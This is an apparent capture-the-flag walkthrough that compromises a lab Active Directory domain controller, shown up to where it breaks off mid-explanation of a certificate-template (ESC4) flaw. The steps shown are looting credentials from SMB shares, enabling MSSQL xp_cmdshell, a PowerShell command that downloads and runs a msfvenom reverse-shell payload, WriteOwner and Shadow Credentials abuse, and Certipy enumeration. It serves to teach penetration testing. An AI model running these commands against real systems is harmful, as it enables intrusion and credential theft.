RECON

Port Scan

$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-01-12 03:14:02Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after:  2025-06-08T17:35:00
| MD5:   09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:45+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after:  2025-06-08T17:35:00
| MD5:   09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ...
| 2iXZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX
|_-----END CERTIFICATE-----
1433/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-01-12T03:15:45+00:00; 0s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-12T01:35:06
| Not valid after:  2055-01-12T01:35:06
| MD5:   deb4:7bc3:e6db:544c:c3d5:8aff:778b:ca14
| SHA-1: bce6:5c0d:23a5:d5b2:5910:f713:84df:cc82:7c91:c4d2
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQc8xqBv2OuoFC0z+YJnLQYzANBgkqhkiG9w0BAQsFADA7
| ...
|_-----END CERTIFICATE-----
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:45+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after:  2025-06-08T17:35:00
| MD5:   09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:45+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after:  2025-06-08T17:35:00
| MD5:   09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| ...
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack Microsoft Windows RPC
49702/tcp open  msrpc         syn-ack Microsoft Windows RPC
49719/tcp open  msrpc         syn-ack Microsoft Windows RPC
49739/tcp open  msrpc         syn-ack Microsoft Windows RPC
52851/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
  • Active Directory Detected:
    • Kerberos (Port 88), LDAP (Ports 389, 636, 3268, 3269), and DNS (Port 53) suggest an Active Directory (AD) environment.
    • The domain appears to be sequel.htb, with a hostname DC01.
  • Potential Attack Surfaces:
    • Microsoft SQL Server (Port 1433): SQL enumeration and potential exploits.
    • SMB and NetBIOS (Ports 139, 445): Possible SMB shares and user credential leaks.
    • RPC (Ports 135, 593, 49664-49739): Useful for lateral movement or privilege escalation.
    • WinRM (Port 5985): Remote command execution if valid credentials are obtained.
    • Certificates: SSL certificates with DNS DC01.sequel.htb provide domain context.

Creds

Initial credentials are provided for the pentest: rose / KxEPkKe6R8su.

As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su

Enum

SMB Enumeration

Ports 139 and 445 are open, indicating SMB is active. Verify with Netexec:

$ nxc smb DC01.sequel.htb -u rose -p KxEPkKe6R8su

SMB         10.129.14.206   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.129.14.206   445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su

Usage of smbclient

Since we have credentials (rose / KxEPkKe6R8su), list the shares as the user:

$ smbclient -L //DC01.sequel.htb -U rose%KxEPkKe6R8su

Password for [WORKGROUP\rose]:

        Sharename       Type      Comment
        ---------       ----      -------
        Accounting Department Disk      
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Users           Disk      

Tools like smbmap can reveal more details:

Explore each share:

smbclient //DC01.sequel.htb/Accounting\ Department -U rose%KxEPkKe6R8su
smbclient //DC01.sequel.htb/NETLOGON -U rose%KxEPkKe6R8su
smbclient //DC01.sequel.htb/SYSVOL -U rose%KxEPkKe6R8su
smbclient //DC01.sequel.htb/Users -U rose%KxEPkKe6R8su

Obviously the first one is a custom share, dive into it:

$ smbclient //DC01.sequel.htb/Accounting\ Department -U rose%KxEPkKe6R8su

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Jun  9 03:52:21 2024
  ..                                  D        0  Sun Jun  9 03:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 03:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 03:52:07 2024

                6367231 blocks of size 4096. 927435 blocks available
                
smb: \> mget *
Get file accounting_2024.xlsx? y
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (4.0 KiloBytes/sec) (average 4.0 KiloBytes/sec)
Get file accounts.xlsx? y
getting file \accounts.xlsx of size 6780 as accounts.xlsx (4.8 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \>

Explore .xlsx Files

Download those .xlsx files, which are Microsoft Excel spreadsheet files, commonly used for storing data in a tabular format.

Opening the file shows the internal structure of the .xlsx file, which is essentially a ZIP archive containing XML and other supporting files.

Since .xlsx files are compressed archives, we can extract them like a ZIP file:

$ unzip accounting_2024.xlsx -d accounting_2024
Archive:  accounting_2024.xlsx
file #1:  bad zipfile offset (local header sig):  0
  inflating: accounting_2024/_rels/.rels  
  inflating: accounting_2024/xl/workbook.xml  
  inflating: accounting_2024/xl/_rels/workbook.xml.rels  
  inflating: accounting_2024/xl/worksheets/sheet1.xml  
  inflating: accounting_2024/xl/theme/theme1.xml  
  inflating: accounting_2024/xl/styles.xml  
  inflating: accounting_2024/xl/sharedStrings.xml  
  inflating: accounting_2024/xl/worksheets/_rels/sheet1.xml.rels  
  inflating: accounting_2024/xl/printerSettings/printerSettings1.bin  
  inflating: accounting_2024/docProps/core.xml  
  inflating: accounting_2024/docProps/app.xml  
  
$ unzip accounts.xlsx -d accounts
Archive:  accounts.xlsx
file #1:  bad zipfile offset (local header sig):  0
  inflating: accounts/xl/workbook.xml  
  inflating: accounts/xl/theme/theme1.xml  
  inflating: accounts/xl/styles.xml  
  inflating: accounts/xl/worksheets/_rels/sheet1.xml.rels  
  inflating: accounts/xl/worksheets/sheet1.xml  
  inflating: accounts/xl/sharedStrings.xml  
  inflating: accounts/_rels/.rels    
  inflating: accounts/docProps/core.xml  
  inflating: accounts/docProps/app.xml  
  inflating: accounts/docProps/custom.xml  
  inflating: accounts/[Content_Types].xml
  
$ ls
accounting_2024  accounting_2024.xlsx  accounts  accounts.xlsx

This creates directories named accounting_2024 and accounts containing all the extracted files. Inspect directory structures:

$ tree accounting_2024

accounting_2024
├── docProps
│   ├── app.xml
│   └── core.xml
├── _rels
└── xl
    ├── printerSettings
    │   └── printerSettings1.bin
    ├── _rels
    │   └── workbook.xml.rels
    ├── sharedStrings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    ├── workbook.xml
    └── worksheets
        ├── _rels
        │   └── sheet1.xml.rels
        └── sheet1.xml
        
$ tree accounts
accounts
├── [Content_Types].xml
├── docProps
│   ├── app.xml
│   ├── core.xml
│   └── custom.xml
├── _rels
└── xl
    ├── sharedStrings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    ├── workbook.xml
    └── worksheets
        ├── _rels
        │   └── sheet1.xml.rels
        └── sheet1.xml

7 directories, 10 files

Run grep recursively over all files in the directory to search for common sensitive keywords:

$ grep -riE "config|password|pass|passwd|pwd|hash|hashed|secret|key|token|credentials|auth|access|ssh|mysql|postgres|dbpass|db_password|dbuser|db_user|conn|login|admin|user|username|account|keyfile|certificate|cert|api|endpoint|url|authentication|secure|encryption|keychain|private|public|authorization|bearer|oauth|sso|vault|jwt|session|cookie|csrf" accounts
  • -r: Recursive search through subdirectories.
  • -i: Case-insensitive search.
  • -E: Use extended regular expressions to search for multiple keywords separated by |.

The grep output from the accounts contains sensitive information, including usernames, passwords, and email addresses:

  1. Angela Martin:
  2. Oscar Martinez:
  3. Kevin Malone:
  4. SA Account:
    • Email: [email protected]
    • Username: sa
    • Password: MSSQLP@ssw0rd! (likely for SQL Server).

MSSQL

Impakcet | mssqlclient.py

The SA account (sa / MSSQLP@ssw0rd!) likely belongs to the SQL Server (Port 1433). Use the credentials for database enumeration with Impacket tool:

$ mssqlclient.py sequel.htb/'sa':'MSSQLP@ssw0rd!'@$ip

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL (sa  dbo@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query
    
SQL (sa  dbo@master)>  

We successfully connected to the SQL Server instance as the sa user! List all available databases:

SQL (sa  dbo@master)> SELECT name FROM sys.databases;

name     
------   
master   
tempdb   
model   
msdb  

The database list contains only system databases, which are default in any SQL Server instance, rarely contains any valuable data.

Query the list of server logins, which might reveal more user accounts:

SQL (sa  dbo@master)> SELECT name, type_desc FROM sys.server_principals;

name                                      type_desc                  
---------------------------------------   ------------------------   
sa                                        SQL_LOGIN                  
public                                    SERVER_ROLE                
sysadmin                                  SERVER_ROLE                
securityadmin                             SERVER_ROLE                
serveradmin                               SERVER_ROLE                
setupadmin                                SERVER_ROLE                
processadmin                              SERVER_ROLE                
diskadmin                                 SERVER_ROLE                
dbcreator                                 SERVER_ROLE                
bulkadmin                                 SERVER_ROLE                
##MS_SQLResourceSigningCertificate##      CERTIFICATE_MAPPED_LOGIN   
##MS_SQLReplicationSigningCertificate##   CERTIFICATE_MAPPED_LOGIN   
##MS_SQLAuthenticatorCertificate##        CERTIFICATE_MAPPED_LOGIN   
##MS_PolicySigningCertificate##           CERTIFICATE_MAPPED_LOGIN   
##MS_SmoExtendedSigningCertificate##      CERTIFICATE_MAPPED_LOGIN   
##MS_PolicyEventProcessingLogin##         SQL_LOGIN                  
##MS_PolicyTsqlExecutionLogin##           SQL_LOGIN                  
##MS_AgentSigningCertificate##            CERTIFICATE_MAPPED_LOGIN   
SEQUEL\Administrator                      WINDOWS_LOGIN              
NT SERVICE\SQLWriter                      WINDOWS_LOGIN              
NT SERVICE\Winmgmt                        WINDOWS_LOGIN              
NT Service\MSSQL$SQLEXPRESS               WINDOWS_LOGIN              
BUILTIN\Users                             WINDOWS_GROUP              
NT AUTHORITY\SYSTEM                       WINDOWS_LOGIN              
NT SERVICE\SQLTELEMETRY$SQLEXPRESS        WINDOWS_LOGIN  

MSSQL | xp_cmdshell

As the sa user (System Admin), we should have the necessary permissions to enable and use xp_cmdshell. This allows us to execute operating system commands directly from SQL Server, which can be a powerful tool for privilege escalation or further enumeration.

Check if xp_cmdshell is enabled. This allows executing OS commands via SQL Server.

SQL
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Run Commands:

SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@master)> EXEC xp_cmdshell 'whoami';
output           
--------------   
sequel\sql_svc   
NULL

The xp_cmdshell command (whoami) works successfully and returns the service account sequel\sql_svc. But this allows us to run only one command at a time, then we need to reconfigure and enable xp_cmdshell for the next.

Lookup local users:

SQL (sa  dbo@master)> EXEC xp_cmdshell 'net user';

output                                                                            
-------------------------------------------------------------------------------   
NULL                                                                              
User accounts for \\DC01                                                          
NULL                                                                              
-------------------------------------------------------------------------------   
Administrator            ca_svc                   Guest                           
krbtgt                   michael                  oscar                           
rose                     ryan                     sql_svc                         
The command completed successfully.                                               
NULL                                                                              
NULL   

We now have an RCE primitive.

Sql_SVC

MSSQL RCE

Now we can leverage the RCE to get reverse shell cooperated with various frameworks, for example MetaSploit.

Generate the payload:

Bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<listener_IP> LPORT=<listener_port> -f exe -o shell.exe

Start listener on MSF:

$ msfconsole -q

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0

msf6 exploit(multi/handler) > set lport 4444
lport => 4444

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.▒▒.▒▒:4444 

Host the payload with Python HTTP Server:

$ ls shell.exe
shell.exe

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Use xp_cmdshell to download and execute the payload:

SQL
EXEC xp_cmdshell 'powershell -NoProfile -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile(''http://<HTTP_Server_IP>/shell.exe'', ''C:\Users\Public\shell.exe''); Start-Process ''C:\Users\Public\shell.exe''"';

Then we compromise user SEQUEL\sql_svc:

Ryan

Enum MSSQL Configuration

As the MSSQL service user, it's always a good idea to examine the configuration files.

 Directory of c:\

11/05/2022  11:03 AM    <DIR>          PerfLogs
01/04/2025  07:11 AM    <DIR>          Program Files
06/09/2024  07:37 AM    <DIR>          Program Files (x86)
06/08/2024  02:07 PM    <DIR>          SQL2019
06/09/2024  05:42 AM    <DIR>          Users
01/04/2025  08:10 AM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)   3,777,658,880 bytes free

The SQL2019 directory is likely a custom installation directory for Microsoft SQL Server 2019. This directory can contain configuration files, database files, logs, and executables for SQL Server.

We can use dir or findstr to locate any .ini, .config, or .xml files, which are used for configuration files on Windows systems. For example:

dir C:\SQL2019\*.ini /s /p
dir C:\Program Files\Microsoft SQL Server\*.config /s /p
  1. /s: Tells dir to search all subdirectories recursively, starting from the specified base directory (C:\SQL2019).
  2. /p: Pauses the output when the screen is full, allowing us to review the results before continuing. This is useful when there are many files or directories in the output.

As a result, there's a configuration file found under C:\SQL2019\ExpressAdv_ENU:

dir C:\SQL2019\*.ini /s /p

 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\SQL2019\ExpressAdv_ENU

06/08/2024  02:07 PM               717 sql-Configuration.INI
               1 File(s)            717 bytes

     Total Files Listed:
               1 File(s)            717 bytes
               0 Dir(s)   3,777,658,880 bytes free

Read the sql-configuration.INI file:

type C:\SQL2019\ExpressAdv_ENU\sql-configuration.ini

[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

We've uncovered a new password string, WqSZAF6CysDQbGb3, which can be used for password spraying against the users listed via net user. However, the C:\Users directory strongly hints that our next target should be the user ryan.

 Directory of c:\users

06/09/2024  05:42 AM    <DIR>          .
06/09/2024  05:42 AM    <DIR>          ..
12/25/2024  03:10 AM    <DIR>          Administrator
01/11/2025  10:06 PM    <DIR>          Public
06/09/2024  03:15 AM    <DIR>          ryan
06/08/2024  03:16 PM    <DIR>          sql_svc
               0 File(s)              0 bytes
               6 Dir(s)   3,777,589,248 bytes free

Using Evil-winrm, we test the credentials and successfully authenticate as the user ryan, allowing us to capture the user flag:

CA_SVC

Bloodhound

With the obtained password, we can gather domain information using BloodHound, either by running it locally on the target or remotely from our attacking machine:

Bash
bloodhound-python -u 'ryan' -p 'WqSZAF6Cy▒▒▒▒▒▒' -d 'sequel.htb' -ns $ip --zip -c All -dc 'dc01.sequel.htb'

From the BloodHound results, we can observe the relationships and privileges associated with the owned user [email protected] and [email protected], who should be a Certification Authority Service Account :

Since we hold WriteOwner privileges on the ca_svc account, our next step is to explore this further in BloodHound for potential escalation opportunities.

  1. [email protected] (Certification Authority Service Account):
    • Group Memberships:
      • CERT [email protected]: This group allows users to manage certificate templates and publish certificates.
      • DENIED RODC PASSWORD REPLICATION [email protected]: This group prevents the account's credentials from being replicated to read-only domain controllers.
      • Password Never Expires:
        • The account password is set to never expire, which increases the likelihood that the current credentials are still valid.
  2. [email protected]:
    • WriteOwner Privilege Over [email protected]:
      • The RYAN account has the WriteOwner permission over the CA_SVC account.
      • This means RYAN can modify the ownership of the CA_SVC account, allowing privilege escalation.

Privilege | WriteOwner

Active Directory objects, such as users and groups, are securable entities with permissions controlled by DACLs (Discretionary Access Control Lists) and ACEs (Access Control Entries). These permissions dictate who can read or modify the object, including actions like changing account names or resetting passwords. An attacker with the WriteOwner permission can exploit it to change the object's owner to an attacker-controlled user, effectively taking control of the object.

BloodHound reference: link.

To exploit WriteOwner and GenericWrite permissions effectively, we can leverage PowerView, a versatile tool from the PowerSploit collection. Here's how it can be used:

Bash
# Set 'axura' as the owner of 'victim' 
# This grants 'axura' full control over the object by becoming its owner
Set-DomainObjectOwner -Identity victim -OwnerIdentity tom 

# Assign 'axura' permissions to reset passwords on 'victim' object
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity axura -Rights ResetPassword 

# Create a PowerShell secure string for the new password and reset password of 'victim'
$newPassword = ConvertTo-SecureString "Axura@4sure1377" -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $newPassword

This is a broader privilege than GenericWrite in some extent, therefore we can also exploit the Shadow Credentials with it—The way I will demonstrate in the following steps.

Privesc

From [email protected], we can take over the CA_SVC account by modifying its ownership and resetting its password, which we have done a lot in Season 6.5 machines (for example the Certified box, according to the BloodHound documentation.

Set Ownership of CA_SVC | BloodyAD

Since the owned ryan user has the WriteOwner privilege over CA_SVC, we can change the ownership of the CA_SVC object to ryan.

Bash
bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p WqSZAF6▒▒▒▒▒▒ set owner ca_svc ryan

Or use Impacket toolset for the same purpose:

Bash
owneredit.py -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF▒▒▒▒▒▒▒▒▒'

Grant Full Control | dacledit.py

As the new owner, ryan gains full control over the CA_SVC account, enabling actions like resetting its password with Impacket tools:

Bash
python3 pywhisker.py -d sequel.htb -u 'ryan' -p 'WqSZAF▒▒▒▒▒▒▒' --target 'ca_svc' --action add

Shadow Credentials Attack | pywhisker

Now we are powerful enough to add a new certificate-based credential (ShadowCred) for CA_SVC:

Bash
python3 pywhisker.py -d sequel.htb -u 'ryan' -p 'WqSZAF6C▒▒▒▒▒▒' --target 'ca_svc' --action add

We can verify the certificate running:

Bash
openssl pkcs12 -in gtpwNhXt.pfx -nokeys -info

We can also reset the password with WriteOwner privilege via similar routine.

Request TGT | gettgtpkinit.py

PKINITtools enables authentication to the Domain Controller using a password-protected certificate, leveraging the PKINIT protocol:

Bash
python gettgtpkinit.py -cert-pfx gtpwNhXt.pfx -pfx-pass KlGxUJRtM0a▒▒▒▒▒▒ -dc-ip $ip sequel.htb/ca_svc ca_svc.ccache

And we can verity the TGT with klist:

Now we have compromised the CA service account CA_SVC.

Administrator

Enum | Certipy

We can use Certipy's find command to enumerate Certificate Templates and identify potential vulnerabilities.

First we need to export the ticket as the environment variable:

$ export KRB5CCNAME='ca_svc.ccache'

$ klist
Ticket cache: FILE:ca_svc.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
01/12/2025 00:05:54  01/12/2025 10:05:54  krbtgt/[email protected]

Then use Certipy with the -vulnerable flag to enumerate all certificate templates on the target Active Directory Certificate Services (AD CS):

Bash
certipy find -k -target dc01.sequel.htb -dc-ip $ip -vulnerable

JSON report:

JSON
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "sequel-DC01-CA",
      "DNS Name": "DC01.sequel.htb",
      "Certificate Subject": "CN=sequel-DC01-CA, DC=sequel, DC=htb",
      "Certificate Serial Number": "152DBD2D8E9C079742C0F3BFF2A211D3",
      "Certificate Validity Start": "2024-06-08 16:50:40+00:00",
      "Certificate Validity End": "2124-06-08 17:00:40+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "SEQUEL.HTB\\Administrators",
        "Access Rights": {
          "2": [
            "SEQUEL.HTB\\Administrators",
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins"
          ],
          "1": [
            "SEQUEL.HTB\\Administrators",
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins"
          ],
          "512": [
            "SEQUEL.HTB\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "DunderMifflinAuthentication",
      "Display Name": "Dunder Mifflin Authentication",
      "Certificate Authorities": [
        "sequel-DC01-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        "SubjectRequireCommonName",
        "SubjectAltRequireDns"
      ],
      "Enrollment Flag": [
        "AutoEnrollment",
        "PublishToDs"
      ],
      "Private Key Flag": [
        "16777216",
        "65536"
      ],
      "Extended Key Usage": [
        "Client Authentication",
        "Server Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1000 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "SEQUEL.HTB\\Enterprise Admins",
          "Full Control Principals": [
            "SEQUEL.HTB\\Cert Publishers"
          ],
          "Write Owner Principals": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins",
            "SEQUEL.HTB\\Administrator",
            "SEQUEL.HTB\\Cert Publishers"
          ],
          "Write Dacl Principals": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins",
            "SEQUEL.HTB\\Administrator",
            "SEQUEL.HTB\\Cert Publishers"
          ],
          "Write Property Principals": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins",
            "SEQUEL.HTB\\Administrator",
            "SEQUEL.HTB\\Cert Publishers"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC4": "'SEQUEL.HTB\\\\Cert Publishers' has dangerous permissions"
      }
    }
  }
}
  1. Enrollment Permissions:
    • The Enrollment Rights are restricted to high-privileged groups:
      • SEQUEL.HTB\Domain Admins
      • SEQUEL.HTB\Enterprise Admins
  2. Object Control Permissions: These permissions define who can modify or control the template.
    • Owner:
      • The owner of the template is SEQUEL.HTB\Enterprise Admins.
    • Full Control:
      • Members of SEQUEL.HTB\Cert Publishers have full control over the template, where CA_SVC is a member of this group, according to BloodHound.
    • Write Owner:
      • The following principals can change the ownership of the template:
        • Domain Admins
        • Enterprise Admins
        • Administrator
        • Cert Publishers
    • Write DACL (Discretionary Access Control List):
      • The above principals can modify the template's DACL, potentially granting themselves or others additional permissions.
    • Write Property:
      • The same principals can modify attributes of the template.
  3. ESC4 Vulnerability:
    • The ESC4 vulnerability is highlighted, which means:
